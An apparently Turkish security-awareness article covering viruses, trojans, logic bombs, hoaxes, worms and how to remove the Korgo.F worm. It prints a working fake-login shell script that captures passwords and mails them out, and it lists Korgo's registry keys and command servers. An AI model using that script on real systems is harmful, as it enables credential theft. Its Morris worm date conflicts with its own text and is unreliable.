Bulaştığı programların boyutlarında artış olabilir.
Ram eksikliği olabilir ve bazı programlar Ram'i çok fazla kullanmaya çalışabilir.
Bazı programlar çökebilir, programlarda bazen yavaşlamalar bazen de kitlenmeler olabilir.
İlk 100.000'lere ulaşan virüs Pakistan'ın Lahor kentinde Faruk kardeşler tarafından programlanmış ve kısa sürede Amerika'ya ve Avrupa'ya sıçramıştır.
Bu tanımlamalarla birlikte şunu da hemen belirtmemiz gerekir ki her virüs her bilgisayarda aynı etkiyi göstermez. Bu etki, bilgisayarın kullandığı işletim sistemi, ilgili yamaları ve virüsün yazılımıyla ilgilidir. Kimi virüs yazılımları kullanıcının dosyalarına zarar vermeyi hedeflerken, kimileri sadece kendisini çoğaltıp sistemi çökertmek gibi bir amaç güderler. Örneğin sadece Windows’ların belli sürümlerini etkiliyen virüsler var. Bunun nedeni aslında sürüm değil, kullandıkları dosya sistemi. Dosya sistemi FAT32, Win9x/ME ve NTFS, WinNT/2000/XP/2003'de kullanılmaktadır. NTFS dosya sistemi diskin bazı bölgelerine belirlenen kullanıcılar dışında kimsenin ya da hiç bir programın yazmasına izin vermemektedir. Bu nedenle bazı virüsler sistem dosyalarına ya da kayıt dosyalarına bilgi girememekte, sadece Win9x/ME işletim sistemlerinde etkili olabilmektedirler. Şunu da hemen söylemeliyiz ki son zamanlarda geliştirilen virüslerin çok büyük bir kısmı Microsoft Windows’un güncel sürümlerine (Windows XP, Windows Server 2000, Windows Server 2003 gibi) bulaşmakta.
Bilgisayar Virüslerinin Temel Özellikleri;
".exe", ".com" gibi dosyalara bulaşırlar.
Virüsler kendini otomatik olarak kopyalar.
Bu programlar kullanıcı müdahalesine gerek kalmadan kendi kendine çalışacak şekilde sabit diske kaydeder.
Virüsün bulaştığı program kendi kendine yeni virüsler üretir.
Virüsler programların özelliklerini değiştirirler.
Çoğu kez görüldüğü kadarıyla virüsler bir programa sadece 1 kez bulaşırlar.
Virüsün bulaştığı program uzun süre normal çalışır.
Virüslerin bulaştıkları programlar önceden yaptığı şeylerin yanında virüsün istediği şeyleri de yapar.
Kullanıcı bilgisayarına ve sabit diskine zarar verirler.
Programlara bazı virüslere karşı bağışıklılık kazandırılabilinir.
Virüsler devamlılıkarını sağlamak için bazı önlemler alırlar. Bu önlemlerin başında da Anti-virüs programları tarafından fark edilmemek için bilgisayar sisteminde gözükmemeye çalışırlar. Çoğu virüsün tekniği iyi gizlenmektir. Bu yüzden virüs kodları çok kısa olur.Ayrıca virüs programları, kendilerini değiştirerek virüs arayan programlardan korunabilirler.
2000'li Yıllarda Yayılan Virüslerin Ortak Özellikleri;
Virüsler girdikleri sistemde göze çarpmamaya çalışırlar ve bu yüzden virüs yazarları kodları olduğunca kısa tutmak isterler. Virüsler bulaştıkları programlarda kendilerini belirlenen şartlardan sonra gösterirler. Virüsler kendilerini kendi kopyalarından korumak için bir işaret taşır ve kendi türünden virüs olmayan dosyalara kopyalanırlar.
Trojan (Truva atı)
Hollywood’un gündeme getirdiği Truva efsanesinin bizleri meşgul ettiği bir dönemde isimleri virüs olmasa da sonuçta zararlı yazılımlar olması nedeniyle benzer etkileri gösteren Trojan(Truva atı)’na da değinmezsek olmaz. Trojanlar, kullanıcısı dışında internet üzerinden başka birisinin işlem yaptırmasını sağlamak amaçlı arka kapılar açan programlardır. Bunlar, kullanıcı ya da e-posta tarayıcı tarafından çalıştırılmadıkları sürece zararsızdırlar. Ancak tam paylaşımlı klasörlerin içine konularak yanlışlıkla çalıştırılması sağlanmaya çalışılmakta maalesef. Örnek vermek gerekirse makinenize bulaştığı zaman size ait özel bilgileri başka e-posta adreslerine yollamaya başlar. Genelde internetten güvenilmez yerlerden çekilen başka programların yüklenmesi ile bulaşır.
Ünlü "Truva atı" terimi bilgisayar güvenlik alanında öncelikli zararsız uygulamaları belirtmek için kullanılır. Virüslerde sözü edildiği gibi yıkıcı kodlar mantıksal bombalar içerenlerdir.
Mantıksal bomba çeşitli etkilere sahip, kasıtlı olarak zarar veren program parçalarıdır.
Sistem kaynaklarına verilen yüksek boyutlu zarar (bellek, hard disk, CPU, vb. );
Dosyaların mümkün olduğunca hızlı yıkımı (kullanıcıların dosyaların içeriğini yeniden oluşturmalarını önleyerek dosyaları tekrar yazarlar);
Olabildiğince uzun bir zaman saklı kalarak dosyaların elaltından yıkılması;
Sistem güvenliğine saldırı (oldukça basit ulaşım haklarının uygulanması, şifre dosyalarının bir internet adresine gönderilmesi);
DDoS (Distributed Denial of Service) gibi terörün hesaplanması için kullanılması;
Disk üzerindeki uygulamaları ilgilendiren lisans numaralarının dökümlerinin çıkarılması ve bunların yazılım geliştiricisine gönderilmesi.
Bazı durumlarda mantıksal bomba gizli bilgilerinin çalınması için hedef gösterilmiş özel bir sistemin özel dosyalarını yıkmak ya da bir kullanıcının kimliğini ele geçirerek güvenini sarsmak amacıyla yazılabilir. Aynı bombayı başka bir sistem üzerinde çalıştırmak zararsız olabilir.
Mantıksal bomba içinde bulunduğu sistemi fiziksel olarak da yıkmaya çalışabilir. Bunun olasılığı oldukça azdır fakat bu türleri de bulunmaktadır. (CMOS bellek silinmesi, modemde anlık belleğin değiştirilmesi, yazıcıların, tarayıcıların ve hard diskin okuyucu kafalarındaki ayarlarına yapılan yıkıcı hareketler...)
Patlayıcılık özelliği ile devam edelim, sözgelimi bir mantıksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslına bakılacak olursa, trojanları veya virüsleri kullanarak hemen yıkıcı birtakım işlere girişmek verimli değildir. Mantıksal bombayı yerleştirdikten sonra bir süre beklemek daha akılcı bir yaklaşımdır. Böyle yapmakla, eğer bir virüs sözkonusu ise, başka sistemlere yayılma ihtimalini artırır; eğer sözkonusu bir trojan ise, kullanıcıların makinasında oluşan gariplikler için hemen yeni programdan şüphe duymasını engellersiniz.
Diğer zarar verici hareketler gibi, başlama mekanizması da bir çok farklılıklar gösterebilir: Yüklemeden sonra on gün bekleme, bir kullanıcı hesabının silinmesi, klavye ve farenin 30 dakika için etkisizleştirilmesi, yazıcı kuyruklarının aşırı dolması gibi. Ve daha bir çok ihtimal. En yaygın trojanlar bugünlerde çok basmakalıp olarak görünse de ekran koruyuculardır. Bu programlar çok çekici bir gürüntünün arkasında farkedilmeden bir çok zararlar verebilirler, özellikle mantıksal bomba yüklemeden yanlızca bir saat sonra harekete geçecekse. Bu süre içinde kullanıcı çok büyük olasılıkla bilgisayarının başında olmayacaktır.
Meşhur bir diğer truva atı ise aşağıda görülen ve bir kullanıcı giriş ortamı hazırlayan ve kullanıcı adı ve şifrelerini programı çalıştıran kişinin e-mail adresine gönderen küçük bir kabuk programıdır. Bu kabuk kullanılmayan bir konsolda çalışırsa o konsoldan giriş yapmaya çalışan kullanıcının şifresini öğrenir.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
Programın çalıştıktan sonra kapanması için exec komutu ile başlatılması gerekiyor. Kurban "Login incorrect" yazısını görünce şifresini yanlış girdiğini düşünecek ve normal yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuğun daha gelişmiş sürümleri X11 tipi bağlantıları simule edebiliyor. Böyle tuzaklara düşmemek için, bir konsoldan giriş yapmadan önce yalancı bir kullanıcı adı ve şifre ile bir deneme yapmak akılcı bir yaklaşım olacaktır (Bu belli bir noktadan sonra refleks haline gelecektir).
HOAX nedir?
Tüm bunların yanında hiç bir yazılım becerisi gerektirmeyen ve e-mail inboxlarımızın vazgeçilmez misafirleri HOAX’lar var ki virüs denince bunlardan bahsetmemek olmaz. HOAX, genellikle dikkatsiz kullanıcıların inanması nedeniyle yayılan, işletim sisteminin kendi dosyası olmasına rağmen bir dosyanın virüslü olduğunu ve silinmesi gerektiğini söyleyen sahte virüs uyarıları içeren e-postalara verilen isimdir. Eğer bu tür bir e-postada anlatılan dosya silinirse, işletim sistemi düzgün çalışmamaya başlayabilir. Bu nedenle, HOAX zararlı olabilmektedir. Bu tür uyarı e-postaları alındığında HOAX olup olmadığı dikkatle araştırılmadan dosya silinmemesi gereklidir. Kısacası HOAX’lar ne virüstür ne trojan ne de birazdan bahsedeğim günümüz bilişim dünyasına çok fazla meşgul etmeye başlayan internet solucanı veya kurtçuk.
SOLUCANLAR(KURTÇUKLAR)
"Solucanlar"veya orjinal tabiriyle “worm”lar, virüsler ile aynı prensipten gelir. Kendilerini kopyalama yöntemi ile çoğalmayı hedeflerler. Kendi özellikleri olmamasına karşın, bunlar mantıksal bombalar taşıyabilirler. Virüsler ile solucanlar arasındaki en önemli fark, solucanların virüsler gibi bir yayılma aracı olarak programları kullanmaması, bunun yerine ağ içinde kullanılan elektronik ileti gibi servisleri yayılma aracı olarak kullanmalarıdır.
RFC 1135’e göre kurtçuk tanımı “Taşıyıcısının kaynaklarını kullanarak tek başına çalışabilen ve çalışan tam bir kopyasını başka makineler üzerinde de oluşturabilen programlardır” şeklindedir. Solucanların teknik seviyeleri biraz daha yüksektir; ağ servislerini sağlayan yazılımların açıklarını bularak kendilerini uzak makinaya kopyalarlar. En güzel örneği 1998 yılındaki "Internet Worm" adı verilen solucandır.
Internet Worm, mantıksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik şekilde çok yıkıcı olmuştu.Kısaca anlatmak gerekirse bu program Cornell Üniversitesinde öğrenci olan Robert Morris Jr tarafından yazılmıştı. NSA'nın bir kolu olan NCSC kurumunda bilgisayar güvenliği ile sorumlu kişinin oğluydu. Program 1998 yılının Kasım ayının ikinci günü öğleden sonra hayat geçmişti ve Internet'e bağlı birçok sistemin durmasına yol açmıştı. Program bir kaç aşamada çalışmıştı:
Solucan bir bilgisayarı ele geçirildikten sonra, ağ içerisine sızmaya çalışıyordu. Adres bilgilerini almak için solucan sistem dosyalarını okuyor ve ağ bilgilerini öğrenmek için netstat benzeri programları kullanıyordu. Daha sonra, kullanıcı hesaplarını ele geçirmeye çalışıyordu. Bunu yapmak için ise bir sözlük içindeki kelimeler ile şifre dosyasını karşılaştırıyordu. Ayrıca şifreleri bulmak için, kullanıcı adının değişik varyasyonlarını deniyordu (tersi, tekrarı gibi). Bu aşama bir açık üstüne kuruluydu: Şifreler kodlanmış bir şekilde herkesin okumasına açık bir dosyada duruyordu (/etc/passwd), böylece çok basit seçilmiş şifreleri tahmin ediyordu. Bu ilk açık şifrelerin shadow adlı ayrı bir dosyada tutulmasıyla daha sonra kapatıldı.
Eğer program kullanıcı hesaplarına girmişse, doğrudan erişimi olan komşu bilgisayarlara ~/.rhost ve /etc/hosts.equiv dosyalarını kullanarak ulaşmaya çalışıyordu. Eger ulaşırsa rsh komutunu kullanarak komşu bilgisayarda komutlar işletiyordu. Böylelikle kendisini başka bir makinaya kopyalıyor ve döngü böyle sürüp gidiyordu. Yukarıdaki gibi açıklar bulamazsa, ikinci bir açık kullanılıyordu:fingerd 'buffer overflow' açığı.Bu açık uzak makinada program çalıştırma imkanı veriyordu. Böylece solucan kendisini yine başka bir makinaya kopyalıyordu. Aslında bu yöntem bazı işlemciler için geçerliydi.
Sonuncu olarak, üçüncü bir açık kullanılmıştı: sendmail adlı yazılımın bir özelliği kullanılıyordu. Bu özelliğin normalde kullanılmaması gerektiği halde sistem yöneticileri genellikle bunu ihmal ediyordu. Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkanı bulduktan sonra kendisini o makinaya kopyalama işlemi oldukça karmaşıktı. Küçük bir C programının ilk önce taşınması, orada derlenmesi ve çalıştırılması gerekiyordu. Daha sonra bu program iki bilgisayar arasında bağlantı kuruyor ve solucanın taşınmasını sağlıyordu. Solucanın önceden derlenmiş çalıştırılabilir dosyaları bir çok platfrom için vardı (Vax ve Sun) ve test edilmişti. Ayrıca, solucan iz bırakmadan kendisini çok zekice saklıyordu.
Ne yazık ki, bilgisayarların tekrar ve tekrar ele geçirilmesini engelleyen mekanizma beklendiği gibi iyi işlemedi ve mantıksal bomba taşımayan Internet 88 solucanı yıkıcı etkisi gösterdi. Bunda iş yükü ağır bilgisayarların da bu solucandan etkilenmesinin büyük payı oldu (özellikle elektronik ileti taşınmasını sağlayan ve haberleşmeyi sağlayan bilgisayarlar gibi).
Tabii bu belaya yol açan solucanın yazarının bir süre için hapishaneye girdiğini belirtmekte de fayda var.
Solucanlara, çok karmaşık oldukları için, genellikle sıkça rastlanmaz. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile karıştırılmamalıdır. Bu virüsler genellikle Basic ile yazılmış ileti açılınca çalışan basit makrolardır. Bunlar sadece bazı işletim sistemlerinde ve ileti okuyucu programların çok basit bit şekilde ayarlandığı sistemlerde çalışırlar. Bu programlar Truva atlarına daha çok benzerler çünkü kullanıcının bunların başlayabilmesi için bir iş yapması gerekir.
Çoğu worm bulaştığı bilgisayarlarda benzer özellikler göstermesi nedeniyle bir örnek teşkil etmesi amacıyla aşağıda 2004 yılı Haziran ayı içerisinde türemiş olan W32.Korgo.F wormunun tipik özellikleri ve nasıl sisteminizden kaldırabileceğiniz ile ilgili bilgiler bulabilirsiniz:
W32.Korgo.F Özellikleri:
Diğer isimleri : Worm.Win32.Padobot.e [Kaspersky], W32/Korgo.worm.g [McAfee], WORM_KORGO.F [Trend]
Türevleri__ _: W32.Korgo.A, W32.Korgo.B, W32.Korgo.C, W32.Korgo.D, W32.Korgo.E
Büyüklüğü____ :10752 byte
Etkilenen sistemler : Windows 2000, Windows XP
Etkilenmeyen sistemler: DOS, Linux, Macintosh, Novell Netware, OS/2, UNIX, Windows 3.x, Windows 95, Windows 98, Windows Me, Windows NT
Yayılmak için sık kullandığı portlar: TCP 445, 113, 3067, ve 6667. Ayrıca diğer portlar.
Hedef açıklar_____ __: Microsoft LSASS yamasının yüklü olmadığı sistemler.
Teknik Detaylar_____: 1)Bulaştığı klasörden ftpupd.exe dosyasını siler. 2)Registry’den HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run altında bulunan aşağıdaki değerleri siler:
"System Service Manager"
"System Restore Service"
"Bot Loader"
"Windows Update Service"
"WinUpdate"
"Windows Security Manager"
"avserve.exe"
"avserve2.exe"
3)Daha sonra registry’den HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run altında “Disk Defragmenter” değerine bakar.Eğer yoksa, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless altına "Client"="1" değerini ekler. Şayet bu değer mevcut ancak dosyanın yolu farklı ise, a)Kendisini Windows\System32 klasörünün altına (W2k için Winnt\System32) xxx.exe şeklinde kopyalar. (xxx=rastgele dosya ismi)
b) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run altına "Disk Defragmenter"="%System%\<xxx>.exe" değerini ekler.
c)xxx.exe yi başlatır ve process’i sonlandırır.
Şayet “Disk Defragmenter” değeri mevcut ve worm’un yolu ile eşleşiyorsa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless dan “Client” değerini siler.
4)Bu adımda en can alıcı hamlesini gerçekleştirmeye çalışır. Kendisini “explorer.exe” altına bir “thread(iş parçaçığı)” olarak atmaya çalışır. Bunu gerçekleştirirse Task Manager’daki process listesinde bu worm’u etkin hale getiren process’i maalesef göremeyeceğiz.
Eğer bunu gerçekleştiremezse worm’u xxx(rastgele bir dosya ismi) olarak Task Manager’daki process listesinde görme şansımız var.
5)Ek bir takım thread’ler daha yaratmaya çalışır ve işine aşağıdaki şekilde devam eder: (Not:Tüm bu threadleri yaratırken bilgisayarın shut down veya reboot edilmesini engeller).
· 113, 3067 ve rastgele bir takım portları açar ve bu portlar vasıtasıyla iletişim kurulmaya çalışıldığında karşı bilgisayara kendisini kopyalar.
· Microsoft Security Bulletin MS04-011) de bahsedilen 445 nolu TCP portundaki LSASS açığından faydalanmak suretiyle wormun açmış olduğu portlardan birini kullanarak wormun bulaştığı başka bir bilgisayarla iletişime geçmeye çalışır.
· Aşağıdaki listede belirtilen IRC sunucuları ile 6667 nolu TCP portu üzerinden iletişime geçmeye çalışır ve geçtiğinde komutlar alır:
§ gaspode.zanet.org.za
§ lia.zanet.net
§ irc.tsk.ru
§ london.uk.eu.undernet.org
§ washington.dc.us.undernet.org
§ los-angeles.ca.us.undernet.org
§ brussels.be.eu.undernet.org
§ caen.fr.eu.undernet.org
§ flanders.be.eu.undernet.org
§ graz.at.eu.undernet.org
§ moscow-advocat.ru
§ gaz-prom.ru
Temizleme Yöntemleri: Sık görülen ve hızlı yayılan bir çok worm virüsü için olduğu gibi W.32.Korgo.F için de Symantec tarafından geliştirilmiş olan bir “removal tool ”u mevcut. Eğer bunu elde etme imkanımız yoksa aşağıdaki adımları izleyerek bu beladan kurtulabiliriz.Sonuçta “removal tool”un yaptığı iş de bunlardan farklı değil.
Her şeyden önce bu musibete sebep olan açığı Microsoft Security Bulletin MS04-011 de belirtildiği şekilde gerekli olan patch(yama) dosyasını yükleyerek kapatmalıyız.Daha sonra manuel temizleme işlemine başlayabiliriz:
1)Disable System Restore (Windows ME/XP)
Eğer virüs,worm veya trojanlarınızın yedeğinin alınmasını istemiyorsanız ,ki bunu isteyeceğinizi hiç sanmam, default olarak açık halde bulunan system restore özelliğini geçici olarak disable etmelisiniz.
2) Anti-virüs programınızın virüs tanımlamalarını güncelleyiniz.
Bu, zaten rutin olarak yapacağımız bir işlem olmalı. Böylelikle virüs, worm veya trojanlardan minimum sürede haberdar olmamız mümkün olacak. Tabii bunların tanımlanmaları için geçecek olan süreyi saymazsak.
3)Bilgisayarınızı safe veya VGA(NT 4.0 için) modda başlatınız.
4)Anti-virüs programı vasıtasıyla tüm harddiskinizi tarayıp virüs bulaşmış olan dosyalarınızı siliniz.
5)Gelelim registry’den gerekli değişikliklerin yapılmasına. Şunu hemen belirtmeliyiz ki bu değişiklikleri yapmadan önce registry’nin yedeğini almakta fayda var. Aksi takdirde veri kaybımız veya işletim sisteminin daha ciddi hasar görmesi ve bize gereksiz yere zaman kaybettirmesi söz konusu olabilir. Tabii bu işlemi sıklıkla tekrarladıysanız registry’nin yedeğinin alınması işlemini es geçebilirsiniz.
a)Start a tıklayıp oradan “Run” a gidiyoruz ve “regedit” yazıp “OK” e basıyoruz.
b) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run altında bulunan "Disk Defragmenter"="%System%\<xxx>.exe" değerini siliyoruz.
c) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless altında bulunan "Client"="1" değerini de siliyoruz.
d) Artık registry’i kapatıp sistemimizi normal olarak başlatabiliriz.
Bilgisayarımızı Virüslere Karşı Nasıl Koruruz?
Buraya kadar virüslerden, trojanlardan, wormlardan bahsettik. “Bunlar nedir? Nasıl yayılır? Ne tür zararlar verirler?” . Bunların cevapları konusunda nispeten bilgi sahibi olduk diye düşünüyorum. Peki tüm bunlardan korunmak için neler yapmalıyız?
Ø Öncelikle işletim sistemimizin tüm güvenlik güncelleştirmeleri(service packler, patchler vs...) tamamlanmış olmalı. Hatta bu güncelleştirmelerden haberdar olmak ve bu konuda üzerimize düşen yükü azaltmak için Software Update Services’ı kurmakta fayda var. (Bkz. SUS Server Kurulum ve Konfigürasyonu makale 28.06.2004)
Ø Sisteme en azından bir adet anti-virüs programı yüklenmiş olmalı. Unutmayalım ki çoğu zaman bu programlar sistemimizde virüs olduğunu sadece haber verir. Bu uyarıyı almış olmak virüsün algılanıp sistemden kaldırıldığı anlamına gelmez. Bunun için virüsün türüne göre bir kaldırma yöntemi uygulamalıyız. Daha önce bu yöntemlerin bir kaçından bahsetmiştik.Anti-virüs yazılımları konusunda güvenlik ile ilgili çözümler üreten Symantec firmasının Norton ürünleri oldukça popüler. Yine McAfee yazılımlarının da hatrı sayılır bir pazar payı olduğunu söylemek gerekir. PCCillin, F-Prot, AVP de yine bu sektörde ismi geçen ürünler. Ayrıca ücretsiz kullanabileceğiniz bir takım anti-virüs parogramlarını internetten download edebilirsiniz ancak güncelleştirme konusunda garantisi yok. Hazır güncelleştirme demişken şunu da hemen belirtelim ki anti-virüs programını yüklemiş olmak virüslerden haberdar olmak için yeterli değil, aynı zamanda bunların yeni türemiş virüsleri algılayabilmeleri için güncelleştirmelerinin yapılması gerekmekte.
Ø Tanımadığınız adreslerden gelen veya uzantısını bilmediğiniz eklere sahip e-mailleri açmayınız veya scan ettikten sonra açınız. Buradaki kişisel yorumum bu e-maillerin kesinlikle açılmaması yönünde. Anti-virüs yazılımının güncellemesi yapılmış olsa dahi yeni çıkmış olan bir virüs türevini algılaması mümkün olmayabilir.
Ø Anti-virüs programı virüs alarmı verdiğinde bunun teknil özellikleri hakkında bilgi sahibi olup bilgisayarımızdan tamamen kaldırdığımıza emin olmalıyız. Örneğin registry’de bir değişiklik yapılacaksa bunu yapmadığımız takdirde bir sonraki açılışta bu virüs veya wormun tekrar türeyeceğini unutmayalım.
Ø İnternetten download edilen dosyalar konusunda dikkatli olunmalı. Trojanların en bilinen yayılma metodlarından birinin de Kazaa benzeri programlarla indirilen dosyaların içine yerleştirilmiş olması.
Ø Orjinal cdsinden yüklemediğiniz programları çalıştırırken dikkatli olunmalı.Mümkünse hiç kullanmamalı.
Ø Active-X saldırılarına karşı Internet Explorer’da gerekli önlemler alınmalı. En azından bu uygulamalar çalışmadan önce bizi uyaracak şekilde ayar yapılmalı.
Ø Bilinen portlar üzerinden gerçekleştirilen virüs ataklarına karşı bu portlar kapatılmalı